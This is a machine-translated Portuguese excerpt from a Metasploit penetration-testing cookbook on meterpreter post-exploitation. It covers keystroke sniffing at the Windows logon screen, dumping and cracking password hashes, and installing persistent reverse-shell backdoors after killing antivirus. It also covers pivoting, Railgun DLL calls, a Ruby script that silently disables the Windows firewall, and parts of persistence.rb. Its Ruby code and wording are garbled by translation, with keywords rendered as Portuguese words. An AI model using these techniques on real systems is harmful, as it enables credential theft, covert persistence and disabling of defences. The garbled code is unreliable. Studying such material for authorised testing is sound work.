A área de trabalho do Windows é dividida em diferentes sessões para definir as maneiras pelas quais podemos
interagir com a máquina Windows. A sessão 0 representa o console. As outras sessões — Sessão 1, Sessão 2
e assim por diante representam sessões de área de trabalho remota.
Portanto, para capturar as teclas do sistema que invadimos, devemos trabalhar no desktop
Sessão 0:
Sessão 0
(área de trabalho)
desconectar (Área de Trabalho)
Cada sessão da área de trabalho do Windows é composta por diferentes estações. No diagrama anterior,
você pode ver diferentes estações associadas à Sessão 0. Dessas estações, WinSta0 é a única estação
interativa. Isso significa que o usuário pode interagir apenas com a estação WinSta0. Todas as outras
estações são não interativas. Agora, o WinSta0 consiste em três áreas de trabalho diferentes: padrão,
desconectar e iniciar sessão. A área de trabalho padrão está associada a todos os aplicativos e tarefas que
executamos em nossa área de trabalho. A área de trabalho Desconectar está relacionada à área de trabalho
de bloqueio do protetor de tela. A área de trabalho do Winlogon está relacionada à tela de login do Windows.
O ponto a ser observado aqui é que cada área de trabalho possui seu próprio buffer de teclado. Portanto,
se você precisar farejar as teclas digitadas na área de trabalho padrão , precisará garantir que o navegador
ativo do medidor atual esteja definido como Sessão 0/WinSta0/Padrão. Se você tiver que farejar a senha de
logon, terá que alterar a área de trabalho ativa para Sessão 0/WinSta0/Winlogon. Vamos dar um exemplo para
ficar mais claro.
133
Machine Translated by Google
Sessão 0\Serviço-0x0-3e7$\Padrão
Como você pode ver, não estamos na estação WinSta0 , que é a única estação de desktop interativa. Portanto,
se executarmos uma captura de pressionamento de tecla aqui, ela não retornará nenhum resultado. Vamos mudar
nossa área de trabalho para WinSta0\Default:
A linha de comando anterior mostra que mudamos para a estação de área de trabalho interativa do Windows
usando o comando setdesktop . Então, agora estamos prontos para executar um keystroke sniffer para
capturar as teclas pressionadas pelo usuário na máquina de destino:
Observando as teclas digitadas, você pode identificar claramente que o usuário-alvo foi para gmail.com e
inseriu suas credenciais para fazer login.
E se você quiser farejar a senha de login do Windows? Obviamente, você pode alternar sua área de trabalho ativa
para WinSta0\Winlogon usando o comando setdesktop , mas aqui também discutiremos uma abordagem alternativa.
Podemos migrar para um processo que é executado durante o logon do Windows.
Vamos executar o comando ps para verificar os processos em execução.
Você encontrará winlogon.exe sendo executado como um processo com um ID de processo. Vamos supor que o ID
do processo (PID) do winlogon.exe seja 1180. Agora vamos migrar para este PID e verificar novamente nossa área
de trabalho ativa:
134
Machine Translated by Google
capítulo 5
Você pode ver que nossa área de trabalho ativa mudou para WinSta0\Winlogon. Agora podemos executar o
comando keyscan_start para começar a farejar as teclas digitadas na tela de logon do Windows.
Da mesma forma, podemos voltar para a área de trabalho padrão migrando para qualquer processo que esteja
sendo executado na área de trabalho padrão. Considere explorer.exe com PID 884:
Você deve ter notado a importância de migrar para diferentes processos e ambientes de área de trabalho
para detectar pressionamentos de tecla. Geralmente, as pessoas não obtêm resultados quando executam o
keyscan diretamente sem dar uma olhada na área de trabalho ativa atual. Isso ocorre porque o processo no
qual eles penetraram pode pertencer a uma sessão ou estação diferente.
Portanto, mantenha esse conceito de área de trabalho em mente ao trabalhar com detecção de pressionamento de tecla.
Preparando-se
O script scraper meterpreter pode extrair muitas informações sobre o alvo comprometido, como informações de
registro, hashes de senha e informações de rede, e armazená-las localmente na máquina do testador.
Para executar um script Ruby no destino usando o meterpreter, podemos usar o comando run . A execução
do comando run scraper –h listará os vários parâmetros disponíveis que podemos passar com o script.
Vamos seguir em frente e analisar como podemos baixar as informações localmente.
135
Machine Translated by Google
Como funciona...
O código fonte para scraper.rb está presente em /pentest/exploits/framework3/scripts/meterpreter.
A experiência em codificação Ruby pode ajudá-lo a editar os scripts para adicionar seus próprios recursos.
Podemos alterar o local do download editando a seguinte linha:
Suponha que você também queira obter o resultado de uma lista de processos disponíveis, então você pode
simplesmente adicionar a seguinte linha de código no corpo principal do programa:
Usando um pouco da linguagem Ruby e reutilização de código, você pode modificar facilmente o código para
adequá-lo às suas necessidades.
136
Machine Translated by Google
capítulo 5
Tem mais...
Vamos aprender sobre outro script meterpreter que pode ser usado para coletar informações
da máquina de destino.
Usando winenum.rb
winenum.rb é outro script meterpreter que pode ajudá-lo a coletar informações sobre o alvo
e baixá-las localmente. Funciona de forma semelhante ao scraper.rb. Você também pode
experimentar este script para ver quais informações extras ele pode fornecer. O script pode
ser encontrado no seguinte local:
/pentest/exploits/framework3/scripts/meterpreter/winenum.rb
137
Machine Translated by Google
Machine Translated by Google
f Passando o hash
Introdução
No capítulo anterior, aprendemos sobre vários comandos poderosos do meterpreter que podem ser muito úteis na
pós-exploração. O Meterpreter adiciona muita flexibilidade ao processo de pós-exploração, fornecendo um
interpretador de comandos muito interativo e útil. Isso não apenas facilita a tarefa, mas também a torna mais
poderosa e abrangente.
Neste capítulo, vamos levar o meterpreter um passo à frente aprendendo alguns conceitos avançados.
Até agora, usamos vários comandos e scripts que o Metasploit nos fornece, mas durante o processo de teste de
penetração, pode surgir uma situação em que você terá que adicionar seus próprios scripts ao meterpreter. A
arquitetura modular da plataforma torna muito fácil desenvolver e integrar seus próprios scripts e módulos.
Machine Translated by Google
Começaremos este capítulo aprendendo algumas funcionalidades avançadas do meterpreter, como passagem
de hash, giro, encaminhamento de porta e assim por diante. Em seguida, passaremos a desenvolver nossos
próprios scripts meterpreter. Para entender este capítulo completamente, você deve estar ciente dos conceitos
básicos de Ruby. Até mesmo uma ideia básica sobre a linguagem Ruby pode ajudá-lo a criar scripts inteligentes de
interpretação de medidores. Para facilitar os leitores, começarei com alguns conceitos básicos de desenvolvimento.
Em seguida, analisaremos alguns códigos Ruby existentes e veremos como podemos reutilizá-los ou editá-los de
acordo com nossas necessidades. Em seguida, aprenderemos a desenvolver nosso próprio script simples de
medidor de desempenho do "desativador do firewall do Windows".
O capítulo aumentará sua compreensão sobre a plataforma em detalhes. Então, vamos seguir em frente e
começar a elaborar as receitas.
passando o hash
Passar o hash ou hashdump é o processo de extração dos arquivos hash de logon do Windows.
O script hashdump meterpreter extrai e despeja os hashes de senha da máquina de destino. Hashes podem
ser usados para quebrar as senhas de logon e obter entrada autorizada em outros sistemas na LAN para futuros
testes de invasão.
Preparando-se
Antes de começar com a receita, vamos primeiro entender sobre as senhas do Windows e seu formato de
armazenamento.
Quando você digita sua senha na tela de logon do Windows, ele criptografa sua senha usando um esquema de
criptografia que transforma sua senha em algo parecido com isto:
7524248b4d2c9a9eadd3b435c51404ee
Este é um hash de senha. Isso é o que realmente está sendo verificado quando você digita sua senha. Ele
criptografa o que você digitou e o devolve ao que está armazenado no registro e/ou arquivo SAM.
O arquivo SAM contém os nomes de usuário e hashes de senha para cada conta na máquina local ou domínio,
se for um controlador de domínio. Ele pode ser encontrado no disco rígido na pasta %systemroot%system32config.
No entanto, esta pasta está bloqueada para todas as contas, incluindo Administrador, enquanto a máquina estiver
em execução. A única conta que pode acessar o arquivo SAM durante a operação é a conta "Sistema". Portanto,
você deve ter em mente que precisa de um privilégio escalado enquanto tenta despejar os hashes.
Os hashes parecerão completamente estranhos para você, pois são texto criptografado. O Windows usa o
protocolo de segurança NTLM (NT LAN Manager) para fornecer autenticação. É o sucessor do protocolo LM
que foi usado nas versões mais antigas do Windows.
140
Machine Translated by Google
Capítulo 6
Como funciona...
Agora temos privilégios de sistema no destino, então podemos seguir em frente e tentar o script
hashdump.
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59
d7e0c089c0:::
Convidado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08
9c0:::
DARKLORD:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204b
eb12283678:::
141
Machine Translated by Google
Você pode ver que o script extraiu com sucesso os hashes de senha do arquivo SAM.
Agora podemos usar ferramentas diferentes para quebrar esse hash. Algumas das ferramentas mais conhecidas são John
the Riper, pwdump, Rainbow crack e assim por diante.
Tem mais...
Vejamos um método alternativo de descriptografar o hash, além de usar as ferramentas discutidas anteriormente.
muito popular para descriptografar os hashes NTLM/LM http://www. md5decrypter.co.uk/. Ele descobre a
senha combinando o hash com seu enorme banco de dados de hashes para encontrar uma correspondência. É
uma técnica eficaz e rápida para quebrar senhas simples e fracas. A captura de tela a seguir mostra o resultado da
decodificação do hash que despejamos anteriormente:
Como você pode ver, foi encontrada uma correspondência para nosso hash de entrada e a senha legível correspondente
é 123.
Um ponto a ser observado aqui é que a quebra de senhas depende totalmente da força dela.
Uma senha mais fraca será bastante fácil de decifrar em comparação com uma complexa. Senhas
complexas irão gerar hashes que não estão presentes nos bancos de dados online. Portanto, considere
o uso de crackers baseados em tabelas de arco-íris. Mais informações sobre este assunto podem ser
encontradas no seguinte URL:
http://bernardodamele.blogspot.in/#!http://bernardodamele.blogspot. com/2011/12/dump-
windows-password-hashes.html.
142
Machine Translated by Google
Capítulo 6
Preparando-se
O Meterpreter nos fornece dois scripts que podem realizar a tarefa de backdoor do alvo. Eles
são Metsvc e Persistência. O funcionamento de ambos os scripts é semelhante.
Vamos lidar com esses dois scripts um por um.
Ambos os scripts meterpreter criam arquivos no sistema de destino para que ele
possa acionar alarmes no antivírus. Portanto, é recomendável encerrar o programa
antivírus antes de executar esses scripts.
OPÇÕES:
143
Machine Translated by Google
* Serviço inicial
Depois que os arquivos backdoor forem carregados com sucesso, ele se conectará automaticamente de volta
ao multi/manipulador na porta 31337. Usando esse backdoor, podemos nos conectar facilmente à máquina de
destino à nossa vontade.
Outro script de backdoor útil para procurar é o script de persistência. Funciona de maneira semelhante ao
Metscv, mas possui alguns recursos extras, como conectar-se novamente ao destino em intervalos regulares,
conectar-se novamente na inicialização do sistema, execução automática e assim por diante. Vejamos as diferentes
opções disponíveis para nós.
OPÇÕES:
144
Machine Translated by Google
Capítulo 6
Como você pode ver, ele tem algumas opções extras em comparação com o Metsvc. Vamos executar o
script e passar diferentes parâmetros de acordo com nossos requisitos.
LHOST=192.168.56.101
LPORT=4321
Como funciona...
Observe os diferentes parâmetros passados junto com o script. O parâmetro –A inicia automaticamente um
ouvinte na máquina de ataque. O operador –S define o backdoor para carregar toda vez que o Windows
inicializa. O operador –U executa o backdoor toda vez que o usuário efetua login no sistema. O operador –i
define o intervalo após o qual o backdoor tentará se conectar de volta ao manipulador do agente. –p é o número
da porta e –r é o endereço IP da máquina de destino.
A saída da execução do script também contém algumas informações úteis. O script criou um arquivo de
recurso para limpeza para que você possa remover o backdoor após o uso. O script criou um arquivo vbs na
pasta temporária da máquina de destino. Também criou entradas de registro para carregar automaticamente
o backdoor toda vez que o Windows é inicializado.
Esta demonstração rápida explica como podemos configurar uma conexão persistente com nossa máquina
de destino. Você pode experimentar diferentes cenários com esses dois scripts e analisar seu funcionamento.
Na próxima receita, vamos nos concentrar em outro conceito interessante chamado pivoting.
145
Machine Translated by Google
Preparando-se
Antes de começar com a receita, vamos primeiro entender o pivotamento em detalhes. Pivoting
refere-se ao método usado por testadores de penetração que usa um sistema comprometido para
atacar outros sistemas na mesma rede. Este é um ataque multicamada no qual podemos acessar
até mesmo as áreas da rede que estão disponíveis apenas para uso interno local, como a intranet.
Considere o cenário mostrado no diagrama a seguir.
comprometido
Sistema
F
EU
R
E
Internet
EM
A
Atacante
eu
eu
Servidor
O invasor pode comprometer os nós externos de uma rede conectada à Internet. Esses nós são
conectados a um firewall. Atrás do firewall está o principal
servidor. Agora, como o invasor não tem acesso ao servidor, ele pode usar os nós como
meio para acessá-lo. Se o invasor conseguir comprometer o nó com sucesso, ele poderá penetrar
ainda mais na rede para alcançar o servidor também. Este é um cenário típico que envolve giro. As
linhas vermelhas no diagrama mostram o caminho articulado configurado entre o invasor e o servidor
através do nó comprometido. Nesta receita, usaremos alguns dos comandos de rede meterpreter que
aprendemos no capítulo anterior.
146
Machine Translated by Google
Capítulo 6
Neste exemplo, nosso nó de destino é uma máquina com Windows 7 conectada a uma rede.
O servidor está sendo executado no Windows 2003. O nó foi comprometido usando a vulnerabilidade do
navegador do lado do cliente e estabelecemos uma conexão ativa com o meterpreter. Vamos começar
executando um ipconfig no nó de destino para ver as interfaces disponíveis nele.
Interface 1
Como você pode ver, o nó de destino tem duas interfaces. Um é 192.168.56.1 que está conectado à
Internet e o outro é 10.0.2.15 que é a interface IP para a rede interna.
Nosso próximo objetivo será descobrir quais outros sistemas estão disponíveis nesta rede local. Para
fazer isso, usaremos um script meterpreter chamado arp_scanner. Este script executará uma varredura
ARP na rede interna para descobrir outros sistemas disponíveis.
Como funciona...
Para acessar o sistema (que é o servidor) com IP 10.0.2.7, teremos que rotear todos os pacotes pelo
IP 10.0.2.15 que é o nó alvo.
147
Machine Translated by Google
Para fazer isso, usaremos um comando chamado route. Também aprendemos sobre esse comando
em nosso capítulo anterior. Para usar este comando, colocaremos em segundo plano a sessão atual
do meterpreter.
Veja os parâmetros do comando route. O parâmetro add adicionará os detalhes à tabela de roteamento.
Em seguida, fornecemos o endereço IP do nó de destino e o gateway padrão. Por fim, fornecemos o ID
da sessão do meterpreter ativo atual (que é 1).
O comando route print mostra a tabela e você pode ver claramente que todo o tráfego enviado por esta
rede agora passará pela sessão 1 do meterpreter.
Agora você pode fazer uma varredura rápida de porta no endereço IP 10.0.2.7, que
anteriormente era inacessível para nós, mas agora roteamos nossos pacotes através do nó de
destino para que possamos descobrir facilmente as portas e serviços abertos. Depois de descobrir
que ele está executando um servidor Windows 2003, você pode usar o exploit/windows/smb/
ms08_067_netapi ou qualquer outro exploit baseado em sistema operacional para comprometer o
servidor ou acessar seus serviços.
148
Machine Translated by Google
Capítulo 6
Preparando-se
Começaremos com o mesmo cenário que discutimos na receita anterior. Nós comprometemos o nó de destino que é
uma máquina Windows 7 e adicionamos as informações de rota para encaminhar todos os pacotes de dados enviados
na rede através da sessão meterpreter. Vamos dar uma olhada na tabela de rotas.
Então nossa mesa está pronta. Agora teremos que configurar o encaminhamento de porta para que nossa solicitação
seja retransmitida para alcançar o servidor interno.
OPÇÕES:
149
Machine Translated by Google
A execução bem-sucedida do comando mostra que uma retransmissão TCP local foi configurada entre o invasor e o
servidor interno. A porta do ouvinte na máquina atacante é 4321 e o serviço para acessar no servidor interno está na
porta 80.
O encaminhamento de porta pode ser muito útil em situações em que você precisa executar comandos
ou aplicativos que o Metasploit não fornece. Em tais situações, você pode usar o encaminhamento de
porta para facilitar sua tarefa.
Esta foi uma pequena demonstração de encaminhamento de porta. Na próxima receita vamos começar com a
programação Ruby para desenvolver nossos próprios scripts meterpreter.
Como funciona...
O encaminhamento de porta funciona com um conceito simples de fornecer um serviço restrito a partir de um local ou
rede não segura. Um sistema/software autenticado ou confiável pode ser usado para configurar um meio de
comunicação entre a rede insegura e segura. Já discutimos um uso simples de encaminhamento de porta no primeiro
capítulo, onde falamos sobre configurar o Metasploit em uma máquina virtual e conectá-lo ao sistema operacional do
host usando o PuTTY.
porta 22 do
servidor ssh
Firewall
bloqueando o acesso
à porta 6667
Porta do
acesso ok
servidor IRC 6667
acesso bloqueado
host local
porta 22 do
porta 1234
servidor ssh
Firewall
bloqueando o acesso
à porta 6667
Porta do
túnel criado
servidor IRC 6667
150
Machine Translated by Google
Capítulo 6
Do ponto de vista de um testador de penetração, é muito essencial saber como implementar nossas próprias
técnicas de script para atender às necessidades do cenário. Pode haver situações em que você tenha que
executar tarefas em que o meterpreter pode não ser suficiente para resolver sua tarefa.
Então você não pode sentar. É aqui que o desenvolvimento de nossos próprios scripts e módulos se torna útil.
Então vamos começar com a receita. Nesta receita, discutiremos sobre a API do meterpreter e alguns mixins
importantes e, em receitas posteriores, codificaremos nossos próprios scripts do meterpreter.
Preparando-se
A API do Meterpreter pode ser útil para os programadores implementarem seus próprios scripts durante o
teste de penetração. Como toda a estrutura do Metasploit é construída usando a linguagem Ruby, uma
experiência em programação Ruby pode aprimorar sua experiência de penetração com o Metasploit.
Estaremos lidando com scripts Ruby nas próximas receitas, então alguma experiência em programação
Ruby será necessária adiante. Mesmo se você tiver um conhecimento básico de Ruby e outras linguagens
de script, será fácil entender os conceitos.
151
Machine Translated by Google
Agora estamos no shell Ruby e podemos executar nossos scripts Ruby. Vamos começar com uma adição
básica de dois números.
>> 2+2
=> 4
Portanto, nosso shell está funcionando bem e pode interpretar as instruções. Vamos realizar uma
operação complexa agora. Vamos criar um hash e armazenar alguns valores nele junto com as chaves.
Em seguida, excluiremos os valores condicionalmente. O script ficará da seguinte forma:
O roteiro é simples de entender. Na primeira linha, criamos as chaves (a e b) e atribuímos valores a elas.
Em seguida, na próxima linha, adicionamos uma condição que exclui qualquer elemento hash cujo valor
seja menor que 25.
Vejamos algumas chamadas de API de impressão que serão úteis para nós ao escrever scripts meterpreter.
>> print_status("HackingAlert")
[*] HackingAlert
=> nada
>> print_good("HackingAlert")
[+] HackingAlert
=> nada
152
Machine Translated by Google
Capítulo 6
f print_error("message"): Esta chamada é usada para exibir uma mensagem de erro que
pode ocorrer durante a execução do script. A mensagem é exibida com um [-] prefixado no início da mensagem de
erro.
>> print_error("HackingAlert")
[-] HackingAlert
=> nada
A razão pela qual discuti essas diferentes chamadas de impressão é que elas são amplamente usadas ao escrever
scripts meterpreter nas respectivas situações. Você pode encontrar documentações relacionadas à API meterpreter em /
opt/framework3/msf3/documentation. Passe por eles para ter uma compreensão clara e detalhada. Você também pode
consultar /opt/framework3/msf3/lib/rex/post/meterpreter, onde pode encontrar muitos scripts relacionados à API meterpreter.
Dentro desses scripts estão os vários núcleos do meterpreter, interação com a área de trabalho, operações
privilegiadas e muitos outros comandos. Revise esses scripts para se familiarizar intimamente com o funcionamento
do meterpreter em um sistema comprometido.
Meterpreter mixins
Meterpreter mixins são chamadas irb específicas do Metasploit. Essas chamadas não estão disponíveis no irb, mas podem
ser usadas para representar as tarefas mais comuns ao escrever scripts meterpreter. Eles podem simplificar nossa tarefa de
escrever scripts específicos do meterpreter. Vejamos alguns mixins úteis:
f eventlog_clear(evt = ""): Limpa um determinado log de eventos ou todos os logs de eventos, se nenhum
é dada. Ele retorna uma matriz de logs de eventos que foram limpos.
153
Machine Translated by Google
f Registry_enumkeys(key): Isso enumera as subchaves de uma determinada chave de registro e retorna uma
matriz de subchaves.
f service_delete(name): Esta função é usada para excluir um serviço excluindo a chave no registro.
f service_list(): Lista todos os serviços do Windows presentes. Ele retorna uma matriz
contendo os nomes dos serviços.
f service_start(name): Esta função é usada para a inicialização do serviço. Retorna 0 se o serviço foi
iniciado, 1 se o serviço já foi iniciado e 2 se o serviço foi desativado.
f service_stop(name): Esta função é usada para parar um serviço. Ele retorna 0 se o serviço for interrompido
com sucesso, 1 se o serviço já estiver interrompido ou desabilitado e 2 se o serviço não puder ser
interrompido.
Esta foi uma referência rápida a alguns mixins importantes do meterpreter. O uso desses mixins pode reduzir a
complexidade de nossos scripts. Vamos entender seu uso nas próximas receitas, onde estaremos criando e
analisando scripts meterpreter.
Como funciona...
A API meterpreter simplesmente cria um mini interpretador Ruby que pode entender e interpretar instruções Ruby. A
maior vantagem de usar a API é que ela nos dá flexibilidade para realizar nossas próprias operações. Não podemos
ter comandos para todas as operações. Pode haver situações em que precisamos de scripts específicos para realizar
nossa tarefa. É aqui que as APIs podem ser úteis.
154
Machine Translated by Google
Capítulo 6
Preparando-se
Para começar a usar o Railgun, precisaremos de uma sessão meterpreter ativa em nossa máquina
de destino. Para iniciar o interpretador Ruby, usaremos o comando irb conforme discutido na receita
anterior.
meterpreter>irb
>>
3. Verifique a biblioteca (DLL) na qual a função está localizada (por exemplo, kernel32.
dll).
4. A função de biblioteca selecionada pode ser chamada como client.railgun.dll_name.
function_name(arg1, arg2, ...).
A biblioteca MSDN do Windows pode ser usada para identificar DLLs e funções úteis para chamar na máquina
de destino. Vamos chamar uma função IsUserAnAdmin simples de shell32.dll e analisar a saída.
>> cliente.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "return"=>false}
155
Machine Translated by Google
Como podemos ver, a função retornou um valor falso indicando que o usuário não é administrador.
Vamos aumentar nosso privilégio e tentar a chamada novamente.
{"GetLastError"=>0, "return"=>true}
Desta vez, a função retornou true indicando que nossa escalação de privilégio foi bem-sucedida e agora estamos trabalhando
como administrador do sistema. O Railgun nos fornece a flexibilidade para executar facilmente as tarefas que não estão
presentes na forma de módulos. Portanto, não estamos apenas limitados a esses scripts e módulos que o framework nos
fornece, na verdade, podemos fazer chamadas sob demanda.
Você pode estender ainda mais essa chamada para um pequeno script Ruby com verificação de erros:
status = client.railgun.shell32.IsUserAnAdmin()
Usar o Railgun pode ser uma experiência muito poderosa e emocionante. Você pode praticar suas próprias chamadas e scripts
para analisar as saídas. No entanto, e se a DLL ou a função que você deseja chamar não fizer parte da definição do Railgun.
Nesse caso, o Railgun também oferece a flexibilidade de adicionar suas próprias funções e DLLs ao Railgun. Trataremos disso
em nossa próxima receita.
Como funciona...
Railgun é um interpretador de comandos Ruby específico que pode ser usado para fazer chamadas DLL remotas para o alvo
comprometido. Chamadas DLL remotas são um processo importante no teste de penetração, pois nos dá o comando sobre o
alvo comprometido para executar qualquer instrução do sistema com privilégio total.
156
Machine Translated by Google
Capítulo 6
Tem mais...
Railgun é uma ferramenta interessante que pode aprimorar o processo de teste de penetração. Vamos
descobrir mais algumas informações sobre Railgun.
Além disso, você também pode ler a documentação do Railgun no seguinte local:
/opt/framework3/msf3/external/source/meterpreter/source/extensions/ stdapi/server/railgun/
railgun_manual.pdf
Na receita anterior, nos concentramos em chamar as DLLs da API do Windows por meio do Railgun.
Nesta receita, vamos nos concentrar em adicionar nossa própria DLL e definições de função ao Railgun.
Para fazer isso, devemos ter uma compreensão das DLLs do Windows. O manual do Railgun pode ser útil
para dar uma ideia rápida sobre as diferentes constantes do Windows que podem ser usadas ao adicionar
definições de funções.
módulo Meterpreter
extensões do módulo
módulo Stdapi
módulo Railgun
módulo def
classe Def_shell32
157
Machine Translated by Google
......
fim
fim
2. Salvar este código como def_shell32.dll criará uma definição Railgun para
shell32.dll.
3. A próxima etapa é adicionar funções à definição da DLL. Se você der uma olhada no
script def_shell32.dll no Metasploit, você verá que a função IsUserAnAdmin já está
adicionada a ele.
dll.add_function('IsUserAnAdmin', 'BOOL', [])
Como funciona...
Para testar a função, salve o arquivo e volte para a sessão meterpreter para verificar se a função foi
executada com sucesso ou não.
>> client.railgun.shell32.OleFlushClipboard
Como alternativa, você também pode adicionar as DLLs e funções diretamente ao Railgun usando
add_dll e add_function. Aqui está um script completo que verifica a disponibilidade de shell32. dll e a
função OleFlushClipboard e, se não estiverem presentes, serão adicionados usando as chamadas
add_dll e add_function .
outro
print_status "Shell32 já carregado.. pulando"
158
Machine Translated by Google
Capítulo 6
fim
outro
print_status "OleFlushClipboard já carregado.. pulando" end
Esta foi uma pequena demonstração do uso do Railgun como uma ferramenta poderosa para chamar as
APIs do Windows dependendo da nossa necessidade. Você pode procurar várias chamadas úteis de API do
Windows na biblioteca MSDN e adicioná-las ao Railgun e aprimorar a funcionalidade de sua estrutura. Ele pode
ser usado para chamar qualquer DLL que resida na máquina de destino. Na próxima receita, avançaremos para
desenvolver nossos próprios scripts meterpreter.
O script que desenvolveremos aqui é um script desativador de firewall do Windows Vista/7. Ele fará uso do
comando do Windows chamado netsh e o meterpreter executará o comando na máquina de destino usando
um mixin chamado cmd_exec().
Preparando-se
Os scripts do Meterpreter são executados em contexto com o cliente explorado, tornando mais fácil para
você se concentrar apenas na tarefa que deseja executar por meio do script. Você não precisa se preocupar
com a conectividade ou qualquer outro parâmetro. Vejamos algumas diretrizes importantes que devem ser
mantidas em mente ao escrever scripts meterpreter
f Evitando variáveis globais: Este é um princípio geral para codificação em qualquer estrutura.
O uso de variáveis globais deve ser evitado, pois podem interferir nas variáveis do framework. Use
apenas variáveis de instância, locais e constantes.
159
Machine Translated by Google
f Uso de comentários: Os comentários são essenciais ao escrever códigos. Isso pode te ajudar
manter um registro de qual parte é responsável por uma determinada ação.
f Incluindo parâmetros: Você deve ter notado em várias receitas como passamos
parâmetros junto com o script. O parâmetro mais elementar, mas útil, é –h ou a opção de ajuda .
f Imprimindo resultados: Imprimir o resultado da operação pode comprovar se a execução de um script foi
um sucesso ou falha. O uso de diferentes chamadas de impressão como print_status, print_error e
assim por diante deve ser usado extensivamente para exibir informações relevantes.
Vamos abrir qualquer editor de texto para começar a escrever o script Ruby. Se você estiver trabalhando no
BackTrack, poderá usar o editor de texto Gedit.
#Opção/parâmetro Análise
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Menu de ajuda." ]
)
quando h"
160
Machine Translated by Google
Capítulo 6
fim
2. Para executar este script, precisaremos de uma sessão meterpreter. Os scripts Ruby podem ser
executado com o comando run . No entanto, antes de usar o script, certifique-se de ter
privilégios de sistema na máquina de destino.
meterpreter >
Bingo! A execução bem-sucedida do script desativará silenciosamente o firewall padrão. A execução do comando
ocorre em segundo plano para que o usuário de destino permaneça inconsciente. Vamos agora entender o script
em detalhes.
Como funciona...
Vamos analisar cada segmento do roteiro.
161
Machine Translated by Google
print_line(opts.usage) raise
Rex::Script::Completed
fim
}
Essas linhas de código nada mais são do que as opções que podemos passar junto com o script. Neste script, a
única opção disponível para nós é o parâmetro –h que exibe a mensagem de uso do script. Você pode salvar
este trecho de código como modelo para criar opções em seus scripts.
Você encontrará vários trechos de código que podem ser usados diretamente em seu próprio script.
O script começa com a criação de um hash (opts) que inclui a biblioteca Rex, que é a forma abreviada da
Ruby Extensions Library. A única chave é –h. O valor de uso é definido como 'falso', o que significa que esse é
um parâmetro opcional para o script. As próximas linhas de código correspondem às opções fornecidas com o
script e vão para o caso específico para exibir a mensagem usando print_line(). No nosso caso, usamos apenas
uma opção (-h).
começar
print_status("desativando o firewall padrão") cmd_exec('cmd /
c','netsh advfirewall define o estado de AllProfiles
desligado',5)
fim
Esta parte do script é específica da operação. Ele começa com a verificação do sistema operacional do cliente.
Em seguida, ele usa um meterpreter mixin cmd_exec () que pode executar comandos ocultos e canalizados. O
comando a ser executado é netsh advfirewall set AllProfiles state off. O mixin evoca este comando na máquina
cliente em contexto com o prompt de comando e sua execução bem-sucedida desativa o firewall do Windows.
Você pode brincar com o script adicionando mais funcionalidades e tentando diferentes possibilidades.
Quanto mais você experimentar, melhor você aprenderá.
Esta foi uma breve demonstração de como construir um script meterpreter. Na próxima receita, veremos
um script meterpreter avançado e o entenderemos em detalhes.
Tem mais...
Vamos estender nossa discussão para reutilizar os códigos para testes de penetração mais rápidos e eficientes.
Reutilização de
código A reutilização de código pode ser uma técnica eficaz na construção de seus próprios scripts. Você
pode encontrar algumas funções prontas, como criar vários manipuladores, configurar verificações de
parâmetros e adicionar cargas úteis. Você pode usá-los diretamente em seu código e aproveitar sua
funcionalidade. Lembre-se de que a melhor maneira de aprender sobre o script meterpreter é observando os scripts integrados.
162
Machine Translated by Google
Capítulo 6
Você pode encontrar todos os scripts meterpreter disponíveis nesta pasta. Estaremos analisando
o script persistence.rb que ajuda a configurar um backdoor no usuário alvo. Discutimos o uso desse
script no capítulo anterior. Aqui, veremos sob o capô de como esse script funciona.
Como funciona...
Vamos analisar cada seção do código, uma por uma.
instalar = falso
autoconn = falso
servir = falso
altex = nil
target_dir = nil
payload_type = script "windows/meterpreter/reverse_tcp" = nil
script_on_target = nil
O código começa com a declaração de variáveis que são usadas no script. Você pode ver
algumas das variáveis comuns, como rhost, rport, payload_type , que usamos durante o
processo de exploração.
"-p" => [ true, "A porta no host remoto onde o Metasploit está escutando"], "-i" => [ true, "O
intervalo em segundos entre cada
163
Machine Translated by Google
tentativa de conexão"],
"-X" => [ false, "Iniciar automaticamente o agente quando o sistema for inicializado"],
meterpreter/reverse_tcp."] )
meter_type = cliente.plataforma
A próxima parte do script consiste em diferentes parâmetros (sinalizadores) que são necessários para
passar junto com o script. Os parâmetros com um valor verdadeiro são sinalizadores obrigatórios cujos
valores devem ser passados pelo testador de penetração. Parâmetros com um valor falso são opcionais.
uso de definição
print_line "Script Meterpreter para criar um backdoor persistente em um host de destino."
print_line(@exec_opts.usage) raise Rex::Script::Completed
fim
fim
164
Machine Translated by Google
Capítulo 6
def create_payload(payload_type,host,lport)
print_status("Criando Payload=#{payload_type} LHOST=#{host}
LPORT=#{lport}")
payload = payload_type pay =
client.framework.payloads.create(payload) pay.datastore['LHOST']
= host pay.datastore['LPORT'] = lport
devolver pagamento.gerar
fim
A próxima função é sobre como criar uma carga útil. Você pode usar essa função diretamente em seu
script se quiser criar uma carga útil (poder de reutilização de código). A função create_payload() assume
dois valores, a saber, payload_type e lport. Se você se lembra da seção de declaração de variáveis,
essas duas variáveis foram inicializadas com alguns valores padrão.
Uma coisa a observar neste snippet é pay.datastore['LHOST'] = host and pay. datastore['LPORT']
= lport. O armazenamento de dados é simplesmente um hash de valores que pode ser usado por
módulos ou pela própria estrutura para referenciar valores controlados pelo programador ou pelo usuário.
def create_script(atraso,altexe,raw)
se altex
vbs = ::MSF::Util::EXE.to_win32pe_vbs(@client.framework,
raw, {:persist => true, :delay => delay, :template => altexe})
outro
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist =>
true, :delay => delay})
fim
print_status("O script do agente persistente tem #{vbs.length} bytes")
retornar vbs
fim
165
Machine Translated by Google
A próxima função é para criar scripts persistentes. Os scripts são criados dependendo da carga útil
e de outros valores de parâmetro passados junto com o script.
# Crie o diretório de
log ::FileUtils.mkdir_p(logs)
#logfile name
logfile = logs + ::File::Separator + Rex::FileUtils.clean_ path(host + filenameinfo) + ".rc"
A próxima função é para criar um diretório de log para o script. O host = @client.sys. A chamada
config.sysinfo["Computer"] extrai as informações do sistema do alvo comprometido.
O diretório e o nome do arquivo são criados usando a biblioteca Rex::FileUtils, que é responsável
por executar operações de arquivo e diretório.
outro
tempdir = @client.fs.file.expand_path("%TEMP%")
fim
166
Machine Translated by Google
Capítulo 6
fd.close
